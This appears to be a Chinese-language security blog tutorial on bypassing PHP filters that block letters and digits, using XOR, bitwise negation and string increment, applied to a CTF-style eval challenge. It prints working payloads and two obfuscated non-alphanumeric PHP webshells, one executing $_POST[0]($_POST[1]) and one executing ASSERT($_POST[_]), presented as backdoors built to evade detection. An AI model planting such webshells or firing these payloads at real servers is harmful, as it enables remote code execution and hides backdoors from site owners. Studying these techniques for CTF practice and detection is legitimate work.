裝飾行業(yè)網(wǎng)站建設(shè)企業(yè)qq
利用不含字母與數(shù)字進行繞過
1.異或進行繞過
?2.取反進行繞過
?3.利用php語法繞過
利用不含字母與數(shù)字進行繞過
基本代碼運行思路理解?
<?php
? ? echo "A"^"`";
?>
運行結(jié)果為!
我們可以看到,輸出的結(jié)果是字符"!"。之所以會得到這樣的結(jié)果,是因為代碼中對字符"A"和字符"`"進行了異或操作。在PHP中,兩個變量進行異或時,先會將字符串轉(zhuǎn)換成ASCII值,再將ASCII值轉(zhuǎn)換成二進制再進行異或,異或完,又將結(jié)果從二進制轉(zhuǎn)換成了ASCII值,再將ASCII值轉(zhuǎn)換成字符串。異或操作有時也被用來交換兩個變量的值。
那么什么是異或操作呢
在php中,異或操作是兩個二進制數(shù)相同時,異或為0,不同為1
比如像上面這個例子
A的ASCII值是65,對應(yīng)的二進制值是0100 0001
`的ASCII值是96,對應(yīng)的二進制值是0110 0000
異或的二進制的值是00100001,對應(yīng)的ASCII值是33,對應(yīng)的字符串的值就是!了
我們都知道,PHP是弱類型的語言,也就是說在PHP中我們可以不預(yù)先聲明變量的類型,而直接聲明一個變量并進行初始化或賦值操作。正是由于PHP弱類型的這個特點,我們對PHP的變類型進行隱式的轉(zhuǎn)換,并利用這個特點進行一些非常規(guī)的操作。如將整型轉(zhuǎn)換成字符串型,將布爾型當(dāng)作整型,或者將字符串當(dāng)作函數(shù)來處理,下面我們來看一段代碼:
??<?php
? ? function B(){
? ? ? ? echo "Hello Angel_Kitty";
? ? }
? ? $_++;
? ? $__= "?" ^ "}";
? ? $__();
?>
執(zhí)行結(jié)果為:Hello Angel_Kitty
我們一起來分析一下上面這段代碼:
$_++;
這行代碼的意思是對變量名為"_"
的變量進行自增操作,在PHP中未定義的變量默認值為null,null==false==0,我們可以在不使用任何數(shù)字的情況下,通過對未定義變量的自增操作來得到一個數(shù)字。 $__="?" ^ "}";
對字符"?"和"}"進行異或運算,得到結(jié)果B賦給變量名為"__"(兩個下劃線)的變量 $ __ ();
通過上面的賦值操作,變量$__
的值為B,所以這行可以看作是B(),在PHP中,這行代碼表示調(diào)用函數(shù)B,所以執(zhí)行結(jié)果為Hello Angel_Kitty。在PHP中,我們可以將字符串當(dāng)作函數(shù)來處理。 看到這里,相信大家如果再看到類似的PHP后門應(yīng)該不會那么迷惑了,你可以通過一句句的分析后門代碼來理解后門想實現(xiàn)的功能。
我們希望使用這種后門創(chuàng)建一些可以繞過檢測的并且對我們有用的字符串,如_POST"\, "system"\, "call_user_func_array",或者是任何我們需要的東西。
下面是個非常簡單的非數(shù)字字母的PHP后門:
?<?php
????@$_++;?//?$_?=?1
????$__=("#"^"|");?//?$__?=?_
????$__.=("."^"~");?//?_P
????$__.=("/"^"`");?//?_PO
????$__.=("|"^"/");?//?_POS
????$__.=("{"^"/");?//?_POST?
????${$__}[!$_](${$__}[$_]);?//?$_POST[0]($_POST[1]);
?>
那么我們現(xiàn)在來做一道題
這道題需要我們執(zhí)行g(shù)etFlag函數(shù),通過GET傳參,并對code參數(shù)進行了字母大小寫和數(shù)字過濾
這道題就可以用異或操作來繞過
1.異或進行繞過
<?php
include 'flag.php';
if(isset($_GET['code'])){$code = $_GET['code'];if(strlen($code)>40){die("Long.");}if(preg_match("/[A-Za-z0-9]+/",$code)){die("NO.");}@eval($code);
}else{highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
<?php
function getFlag(){echo "{bypass successfully!}";
}
?>
payload如下:
?code=$_="`{{{"^"?<>/";${$_}[_]();&_=getFlag
"`{{{"^"?<>/"的結(jié)果是"_GET",所以${$_}[_]()=$_GET[_](),而此時_=getFlag
所以直接就執(zhí)行了getFlag(),拿到flag
?2.取反進行繞過
下面是一段代碼進行原理理解:
?payload:
?code=$_=~%98%9A%8B%B9%93%9E%98;$_();
?3.利用php語法繞過
利用簡單實例理解原理:
利用php語法規(guī)則
這就得借助PHP的一個小技巧,先看文檔: http://php.net/manual/zh/language.operators.increment.php
在處理字符變量的算數(shù)運算時,PHP 沿襲了 Perl 的習(xí)慣,而非 C 的。例如,在 Perl 中 $a = 'Z'; $a++; 將把 $a 變成'AA',而在 C 中,a = 'Z'; a++; 將把 a 變成 '['('Z' 的 ASCII 值是 90,'[' 的 ASCII 值是 91)。注意字符變量只能遞增,不能遞減,并且只支持純字母(a-z 和 A-Z)。遞增/遞減其他字符變量則無效,原字符串沒有變化。
也就是說,'a'++ => 'b','b'++ => 'c'... 所以,我們只要能拿到一個變量,其值為a,通過自增操作即可獲得a-z中所有字符。
那么,如何拿到一個值為字符串'a'的變量呢?
巧了,數(shù)組(Array)的第一個字母就是大寫A,而且第4個字母是小寫a。也就是說,我們可以同時拿到小寫和大寫A,等于我們就可以拿到a-z和A-Z的所有字母。
在PHP中,如果強制連接數(shù)組和字符串的話,數(shù)組將被轉(zhuǎn)換成字符串,其值為Array:
再取這個字符串的第一個字母,就可以獲得'A'了。
利用這個技巧,我編寫了如下webshell(因為PHP函數(shù)是大小寫不敏感的,所以我們最終執(zhí)行的是ASSERT($POST[]),無需獲取小寫a)
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
ASSERT
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
payload:
?code=$啊="@@^|@@@"^"'%*:,!'";$啊();